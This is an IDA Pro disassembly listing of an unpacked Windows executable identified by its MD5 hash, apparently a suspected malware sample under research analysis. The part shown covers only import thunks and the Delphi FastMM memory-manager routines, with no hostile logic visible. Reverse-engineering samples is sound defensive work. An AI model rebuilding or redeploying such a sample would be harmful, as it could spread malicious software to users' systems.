;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	80AEEA81B0DC32311F1109E2C7DF96CC

; File Name   :	u:\work\80aeea81b0dc32311f1109e2c7df96cc_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	40000000
; Section 1. (virtual address 00001000)
; Virtual size			: 000173EC (  95212.)
; Section size in file		: 000173EC (  95212.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 40001000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_40001000	dd offset dword_40001004 ; DATA	XREF: .text:40006E36o
					; .text:400077E5o ...
dword_40001004	dd 7473060Ah, 676E6972hoff_4000100C	dd offset dword_40001010 ; DATA	XREF: .text:40006AD6o
					; .text:40006ADEo ...
dword_40001010	dd 69570A0Bh, 74536564h, 676E6972hoff_4000101C	dd offset dword_40001068 ; DATA	XREF: .text:40001108o
					; .text:40006E08o ...
		dd 7 dup(0)
		dd offset dword_40001068
		dd 4, 0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40001068	dd 624F5407h, 7463656Ah					; .text:4000103Co ...
off_40001070	dd offset dword_40001074 ; DATA	XREF: .text:4000D6D0o
					; .text:40013185o
dword_40001074	dd 4F540707h, 63656A62h		db 74h
		dd offset dword_40001068
		align 4
dword_40001084	dd 6000000h, 74737953h,	6D65h, 244483CCh, 0D9E9F804h, 83000051h
					; DATA XREF: .text:off_400010B1o
		dd 0F8042444h, 51F7E9h,	24448300h, 1E9F804h, 0CC000052h
		db 0CCh
off_400010B1	dd offset dword_40001084+0Dh ; DATA XREF: .text:400010D1o
		dd offset dword_40001084+17h
		dd offset dword_40001084+21h
byte_400010BD	db 1, 2	dup(0)		; DATA XREF: .text:400010E4o
		dd 2 dup(0)
		dd 0C000h, 0
		db 46h
		dd offset off_400010B1
		db 8, 2	dup(0)
		align 10h
off_400010E0	dd offset dword_4000112C ; DATA	XREF: .text:40007930o
		dd offset byte_400010BD
		dd 6 dup(0)
		dd offset dword_4000112C
		dd 0Ch
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset sub_40006248
		dd offset sub_40006254
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40006264
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000112C	dd 6E495411h, 66726574h, 64656361h, 656A624Fh, 0C08B7463h
					; DATA XREF: .text:off_400010E0o
					; .text:40001100o

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001140	proc near		; CODE XREF: sub_4000314C+4p
					; .text:40003308p
		jmp	ds:dword_400244AC
sub_40001140	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001148	proc near		; CODE XREF: .text:40003204p
					; sub_40003644+9Bp
		jmp	ds:dword_400244A8
sub_40001148	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001150	proc near		; CODE XREF: .text:400032EDp
		jmp	ds:dword_400244A4
sub_40001150	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001158	proc near		; CODE XREF: .text:40003228p
		jmp	ds:dword_400244A0
sub_40001158	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001160	proc near		; CODE XREF: .text:loc_400032D7p
					; sub_40003644:loc_400036FFp ...
		jmp	ds:dword_4002449C
sub_40001160	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001168	proc near		; CODE XREF: sub_40003FE8+14p
					; sub_40004004+16p ...
		jmp	ds:dword_40024498
sub_40001168	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001170	proc near		; CODE XREF: sub_400030D0+1Ep
					; .text:40003265p
		jmp	ds:dword_40024494
sub_40001170	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001178	proc near		; CODE XREF: sub_400040D8+D2p
					; .text:40004470p
					; DATA XREF: ...
		jmp	ds:dword_40024490
sub_40001178	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001180	proc near		; CODE XREF: .text:4000329Cp
		jmp	ds:dword_4002448C
sub_40001180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001188	proc near		; CODE XREF: .text:40003244p
					; .text:4000328Ep
		jmp	ds:dword_40024488
sub_40001188	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001190	proc near		; CODE XREF: sub_400040D8+6Ap
					; sub_400040D8+A7p ...
		jmp	ds:dword_40024484
sub_40001190	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001198	proc near		; CODE XREF: sub_40003110+1Fp
					; sub_40004704+3Fp ...
		jmp	ds:dword_40024480
sub_40001198	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011A0	proc near		; CODE XREF: sub_40002EFC+Cp
					; sub_40002EFC+3Ap ...
		jmp	ds:dword_4002440C
sub_400011A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011A8	proc near		; CODE XREF: sub_40004790+C0p
		jmp	ds:dword_4002447C
sub_400011A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011B0	proc near		; CODE XREF: sub_40002540+39Ep
					; sub_40004704+78p
		jmp	ds:dword_40024408
sub_400011B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011B8	proc near		; CODE XREF: sub_40005C60+123p
		jmp	ds:dword_40024478
sub_400011B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011C0	proc near		; CODE XREF: sub_40005C60+111p
		jmp	ds:dword_40024474
sub_400011C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011C8	proc near		; CODE XREF: sub_40004790+88p
		jmp	ds:dword_40024470
sub_400011C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011D0	proc near		; CODE XREF: sub_40002FF8:loc_4000302Ep
					; .itext:4001906Cp
		jmp	ds:dword_4002446C
sub_400011D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011D8	proc near		; CODE XREF: sub_40002D8Cp
					; sub_400030D0+27p ...
		jmp	ds:dword_40024468
sub_400011D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011E0	proc near		; CODE XREF: sub_40005E24+12Fp
		jmp	ds:dword_40024464
sub_400011E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011E8	proc near		; CODE XREF: sub_40002FF8+24p
					; sub_40005BC0+1Ep ...
		jmp	ds:dword_40024460
sub_400011E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011F0	proc near		; CODE XREF: sub_40005C60+1Dp
		jmp	ds:dword_4002445C
sub_400011F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011F8	proc near		; CODE XREF: sub_40005C60+34p
		jmp	ds:dword_40024458
sub_400011F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001200	proc near		; CODE XREF: sub_400012A0+Ap
		jmp	ds:dword_40024454
sub_40001200	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001208	proc near		; CODE XREF: sub_40005E24+129p
		jmp	ds:dword_40024450
sub_40001208	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001210	proc near		; CODE XREF: sub_40005E24+1B1p
					; sub_40005E24+1E9p ...
		jmp	ds:dword_4002444C
sub_40001210	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001218	proc near		; CODE XREF: sub_400062F0+32p
		jmp	ds:dword_40024404
sub_40001218	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001220	proc near		; CODE XREF: sub_40005C60+64p
					; sub_40005C60+C8p ...
		jmp	ds:dword_40024448
sub_40001220	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001228	proc near		; CODE XREF: sub_40005C60+12Fp
					; sub_40005C60+16Fp ...
		jmp	ds:dword_40024444
sub_40001228	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001230	proc near		; CODE XREF: sub_400049C4+12p
		jmp	ds:dword_40024440
sub_40001230	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001238	proc near		; CODE XREF: sub_40003B94+6Bp
					; sub_40005E24+FFp
		jmp	ds:dword_400243F4
sub_40001238	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001240	proc near		; CODE XREF: sub_40003B94+22p
					; sub_40005E24+3Ap ...
		jmp	ds:dword_400243F0
sub_40001240	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001248	proc near		; CODE XREF: sub_40003B94+55p
					; sub_40005E24+BFp ...
		jmp	ds:dword_400243EC
sub_40001248	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001250	proc near		; CODE XREF: sub_400049A4+16p
		jmp	ds:dword_4002443C
sub_40001250	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001258	proc near		; CODE XREF: sub_40002208+39p
					; sub_40005B98+Bp
		jmp	ds:dword_40024438
sub_40001258	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001260	proc near		; CODE XREF: sub_40004FE0+7p
					; sub_400050F8+Bp
		jmp	ds:dword_400243E4
sub_40001260	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001268	proc near		; CODE XREF: sub_40005044+1Ap
		jmp	ds:dword_400243E0
sub_40001268	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001270	proc near		; CODE XREF: sub_40004FF8+7p
					; sub_40005008+Ep ...
		jmp	ds:dword_400243DC
sub_40001270	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001278	proc near		; CODE XREF: .text:400062A6p
		jmp	ds:dword_40024434
sub_40001278	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001280	proc near		; CODE XREF: sub_40006248+4p
					; .text:400062BCp
		jmp	ds:dword_40024430
sub_40001280	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001288	proc near		; CODE XREF: .itext:4001908Ap
		jmp	ds:dword_4002442C
sub_40001288	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001290	proc near		; CODE XREF: sub_40003058+4p
		jmp	ds:dword_40024428
sub_40001290	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001298	proc near		; CODE XREF: sub_40003058:loc_40003070p
		jmp	ds:dword_40024424
sub_40001298	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400012A0	proc near		; CODE XREF: .itext:40019076p

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_40001200	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_400012BB
		movzx	ebx, [esp+48h+var_18]


loc_400012BB:				; CODE XREF: sub_400012A0+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_400012A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400012C4	proc near		; CODE XREF: sub_400015DC+16p
					; sub_40001694+20p ...
		jmp	ds:dword_40024420
sub_400012C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400012CC	proc near		; CODE XREF: sub_400016F8+1Cp
					; sub_40001A9C+190p ...
		jmp	ds:dword_4002441C
sub_400012CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400012D4	proc near		; CODE XREF: sub_40001654+Dp
					; sub_40001654+26p ...
		jmp	ds:dword_40024418
sub_400012D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400012DC	proc near		; CODE XREF: sub_40002BB4+Fp
		jmp	ds:dword_40024400
sub_400012DC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 57h
aFastmmBorlandE	db 'FastMM Borland Edition © 2004, 2005 Pierre le Riche / Professiona'
					; DATA XREF: .data:off_4001A040o
		db 'l Software Development',0

; =============== S U B	R O U T	I N E =======================================



sub_40001344	proc near		; CODE XREF: sub_40001654+1Bp
					; sub_40001654+34p ...
		lock cmpxchg [ecx], dl
		retn
sub_40001344	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000134C	proc near		; DATA XREF: .data:off_4001A060o
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	ecx, [eax+4]
		mov	eax, [eax+8]
		mov	[edx+4], ecx
		mov	[edx+8], eax
		retn
sub_4000134C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40001360	proc near		; DATA XREF: .data:4001A080o
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		mov	ecx, [eax+0Ch]
		mov	eax, [eax+10h]
		mov	[edx+0Ch], ecx
		mov	[edx+10h], eax
		retn
sub_40001360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40001380	proc near		; DATA XREF: .data:4001A0A0o
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		mov	ecx, [eax+0Ch]
		mov	[edx+0Ch], ecx
		mov	ecx, [eax+10h]
		mov	[edx+10h], ecx
		mov	ecx, [eax+14h]
		mov	eax, [eax+18h]
		mov	[edx+14h], ecx
		mov	[edx+18h], eax
		retn
sub_40001380	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400013AC	proc near		; DATA XREF: .data:4001A0C0o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		mov	ecx, [eax+20h]
		mov	[edx+20h], ecx
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_400013AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400013CC	proc near		; DATA XREF: .data:4001A0E0o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		fild	qword ptr [eax+20h]
		mov	ecx, [eax+28h]
		mov	[edx+28h], ecx
		fistp	qword ptr [edx+20h]
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_400013CC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400013F0	proc near		; DATA XREF: .data:4001A100o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		fild	qword ptr [eax+20h]
		fild	qword ptr [eax+28h]
		mov	ecx, [eax+30h]
		mov	[edx+30h], ecx
		fistp	qword ptr [edx+28h]
		fistp	qword ptr [edx+20h]
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_400013F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000141C	proc near		; DATA XREF: .data:4001A120o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		fild	qword ptr [eax+20h]
		fild	qword ptr [eax+28h]
		fild	qword ptr [eax+30h]
		mov	ecx, [eax+38h]
		mov	[edx+38h], ecx
		fistp	qword ptr [edx+30h]
		fistp	qword ptr [edx+28h]
		fistp	qword ptr [edx+20h]
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_4000141C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000144C	proc near		; DATA XREF: .data:4001A140o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		fild	qword ptr [eax+20h]
		fild	qword ptr [eax+28h]
		fild	qword ptr [eax+30h]
		fild	qword ptr [eax+38h]
		mov	ecx, [eax+40h]
		mov	[edx+40h], ecx
		fistp	qword ptr [edx+38h]
		fistp	qword ptr [edx+30h]
		fistp	qword ptr [edx+28h]
		fistp	qword ptr [edx+20h]
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_4000144C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40001484	proc near		; CODE XREF: sub_40001C7C+2D8p
					; sub_40001C7C+32Fp
					; DATA XREF: ...
		sub	ecx, 0Ch
		add	eax, ecx
		add	edx, ecx
		neg	ecx
		jns	short loc_400014A2


loc_4000148F:				; CODE XREF: sub_40001484+1Cj
		fild	qword ptr [ecx+eax]
		fild	qword ptr [ecx+eax+8]
		fistp	qword ptr [ecx+edx+8]
		fistp	qword ptr [ecx+edx]
		add	ecx, 10h
		js	short loc_4000148F


loc_400014A2:				; CODE XREF: sub_40001484+9j
		fild	qword ptr [ecx+eax]
		fistp	qword ptr [ecx+edx]
		mov	eax, [ecx+eax+8]
		mov	[ecx+edx+8], eax
		retn
sub_40001484	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400014B4	proc near		; CODE XREF: sub_40001C7C+41p
					; sub_40001C7C+1A5p ...
		sub	ecx, 4
		add	eax, ecx
		add	edx, ecx
		neg	ecx


loc_400014BD:				; CODE XREF: sub_400014B4+12j
		fild	qword ptr [ecx+eax]
		fistp	qword ptr [ecx+edx]
		add	ecx, 8
		js	short loc_400014BD
		mov	eax, [ecx+eax]
		mov	[ecx+edx], eax
		retn
sub_400014B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400014D0	proc near		; CODE XREF: sub_40001570+4Cp
					; sub_40001A9C+148p ...
		mov	ecx, [eax+4]
		mov	edx, [eax]
		cmp	ecx, edx
		mov	[ecx], edx
		mov	[edx+4], ecx
		jz	short loc_400014E0

locret_400014DE:			; CODE XREF: sub_400014D0+2Cj
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_400014E0:				; CODE XREF: sub_400014D0+Cj
		sub	ecx, offset off_4001C7A8
		mov	edx, ecx
		shr	ecx, 3
		movzx	edx, dh
		mov	eax, 0FFFFFFFEh
		rol	eax, cl
		and	ds:dword_4001C728[edx*4], eax
		jnz	short locret_400014DE
		mov	eax, 0FFFFFFFEh
		mov	ecx, edx
		rol	eax, cl
		and	ds:dword_4001C724, eax
		retn
sub_400014D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40001510	proc near		; CODE XREF: sub_40001570+33j
					; sub_40001734+17Dp ...
		sub	edx, 0B30h
		shr	edx, 8
		sub	edx, 3FFh
		sbb	ecx, ecx
		and	edx, ecx
		add	edx, 3FFh
		lea	ecx, off_4001C7A8[edx*8]
		mov	edx, [ecx+4]
		cmp	edx, ecx
		mov	[eax], ecx
		mov	[eax+4], edx
		mov	[edx], eax
		mov	[ecx+4], eax
		jz	short loc_40001544
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001544:				; CODE XREF: sub_40001510+2Fj
		sub	ecx, offset off_4001C7A8
		mov	edx, ecx
		shr	ecx, 3
		movzx	edx, dh
		mov	eax, 1
		shl	eax, cl
		or	ds:dword_4001C728[edx*4], eax
		mov	eax, 1
		mov	ecx, edx
		shl	eax, cl
		or	ds:dword_4001C724, eax
		retn
sub_40001510	endp


; =============== S U B	R O U T	I N E =======================================



sub_40001570	proc near		; CODE XREF: sub_400015DC+3p
					; sub_40001A9C+1A6p
		cmp	ds:dword_4001C720, 0
		jnz	short loc_4000157C
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4000157C:				; CODE XREF: sub_40001570+7j
		mov	eax, ds:dword_4001C71C
		test	byte ptr [eax-4], 1
		jnz	short loc_400015AC
		or	dword ptr [eax-4], 8
		mov	edx, ds:dword_4001C720
		sub	eax, edx


loc_40001593:				; CODE XREF: sub_40001570+68j
		lea	ecx, [edx+3]
		mov	[eax-4], ecx
		mov	[edx+eax-8], edx
		cmp	edx, 0B30h
		jnb	sub_40001510
		retn
; ---------------------------------------------------------------------------
		align 4


loc_400015AC:				; CODE XREF: sub_40001570+15j
		mov	edx, 0FFFFFFF0h
		and	edx, [eax-4]
		cmp	edx, 0B30h
		jb	short loc_400015CE
		call	sub_400014D0
		mov	eax, ds:dword_4001C71C
		mov	edx, 0FFFFFFF0h
		and	edx, [eax-4]


loc_400015CE:				; CODE XREF: sub_40001570+4Aj
		mov	ecx, ds:dword_4001C720
		sub	eax, ecx
		add	edx, ecx
		jmp	short loc_40001593
sub_40001570	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400015DC	proc near		; CODE XREF: sub_40001734+1BEp
					; sub_40001734+2DAp
		push	ebx
		mov	ebx, eax
		call	sub_40001570
		push	4
		push	1000h
		push	140000h
		push	0
		call	sub_400012C4	; VirtualAlloc
		test	eax, eax
		jz	short loc_40001648
		mov	edx, ds:dword_4001C70C
		mov	ecx, eax
		mov	dword ptr [ecx], offset	dword_4001C708
		mov	ds:dword_4001C70C, eax
		mov	[ecx+4], edx
		mov	[edx], eax
		mov	edx, eax
		add	edx, 140000h
		mov	ecx, edx
		sub	ecx, 4
		mov	dword ptr [ecx], 2
		mov	ecx, 13FFF0h
		sub	ecx, ebx
		mov	ds:dword_4001C720, ecx
		sub	edx, ebx
		mov	eax, edx
		mov	ds:dword_4001C71C, eax
		or	ebx, 2
		mov	edx, eax
		sub	edx, 4
		mov	[edx], ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001648:				; CODE XREF: sub_400015DC+1Dj
		xor	eax, eax
		mov	ds:dword_4001C720, eax
		xor	eax, eax
		pop	ebx
		retn
sub_400015DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40001654	proc near		; CODE XREF: sub_40001694+36p
					; sub_400016F8+8p
		cmp	ds:byte_4001C04D, 0
		jz	short locret_40001691
		jmp	short loc_4000167F
; ---------------------------------------------------------------------------


loc_4000165F:				; CODE XREF: sub_40001654+3Bj
		push	0
		call	sub_400012D4	; Sleep
		mov	ecx, offset byte_4001E7A8
		mov	dl, 1
		xor	eax, eax
		call	sub_40001344
		test	al, al
		jz	short locret_40001691
		push	0Ah
		call	sub_400012D4	; Sleep


loc_4000167F:				; CODE XREF: sub_40001654+9j
		mov	ecx, offset byte_4001E7A8
		mov	dl, 1
		xor	eax, eax
		call	sub_40001344
		test	al, al
		jnz	short loc_4000165F

locret_40001691:			; CODE XREF: sub_40001654+7j
					; sub_40001654+22j
		retn
sub_40001654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40001694	proc near		; CODE XREF: sub_40001734+35Fj
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, eax
		lea	esi, [ebp+10010h]
		dec	esi
		add	esi, 4
		and	esi, 0FFFF0000h
		push	4
		push	101000h
		push	esi
		push	0
		call	sub_400012C4	; VirtualAlloc
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_400016EF
		mov	edi, ebx
		mov	[edi+8], ebp
		or	esi, 4
		mov	[edi+0Ch], esi
		call	sub_40001654
		mov	eax, ds:dword_4001E7B0
		mov	dword ptr [edi], offset	dword_4001E7AC
		mov	ds:dword_4001E7B0, ebx
		mov	[edi+4], eax
		mov	[eax], ebx
		mov	ds:byte_4001E7A8, 0
		add	ebx, 10h


loc_400016EF:				; CODE XREF: sub_40001694+29j
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40001694	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400016F8	proc near		; CODE XREF: sub_40001A9C+1D4j
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		sub	ebx, 10h
		call	sub_40001654
		mov	eax, ebx
		mov	esi, [eax]
		mov	edi, [eax+4]
		push	8000h
		push	0
		push	ebx
		call	sub_400012CC	; VirtualFree
		test	eax, eax
		jz	short loc_40001726
		mov	[edi], esi
		mov	[esi+4], edi
		xor	eax, eax
		jmp	short loc_40001729
; ---------------------------------------------------------------------------


loc_40001726:				; CODE XREF: sub_400016F8+23j
		or	eax, 0FFFFFFFFh


loc_40001729:				; CODE XREF: sub_400016F8+2Cj
		mov	ds:byte_4001E7A8, 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400016F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40001734	proc near		; CODE XREF: sub_40001C7C+30p
					; sub_40001C7C+66p ...
		lea	edx, [eax+3]
		shr	edx, 3
		cmp	eax, 0A2Ch
		push	ebx
		mov	cl, ds:byte_4001C04D
		ja	loc_40001978
		test	cl, cl
		movzx	eax, ds:byte_4001C5C0[edx]
		lea	ebx, byte_4001A044[eax*8]
		jnz	short loc_400017B4


loc_4000175E:				; CODE XREF: sub_40001734+89j
					; sub_40001734+97j ...
		mov	edx, [ebx+4]
		mov	eax, [edx+8]
		mov	ecx, 0FFFFFFF8h
		cmp	edx, ebx
		jz	short loc_40001784
		add	dword ptr [edx+0Ch], 1
		and	ecx, [eax-4]
		mov	[edx+8], ecx
		mov	[eax-4], edx
		jz	short loc_400017A4
		mov	byte ptr [ebx],	0
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001784:				; CODE XREF: sub_40001734+37j
		mov	edx, [ebx+10h]
		movzx	ecx, word ptr [ebx+2]
		add	ecx, eax
		cmp	eax, [ebx+0Ch]
		ja	short loc_40001800
		add	dword ptr [edx+0Ch], 1
		mov	[ebx+8], ecx
		mov	byte ptr [ebx],	0
		mov	[eax-4], edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_400017A4:				; CODE XREF: sub_40001734+46j
		mov	ecx, [edx+4]
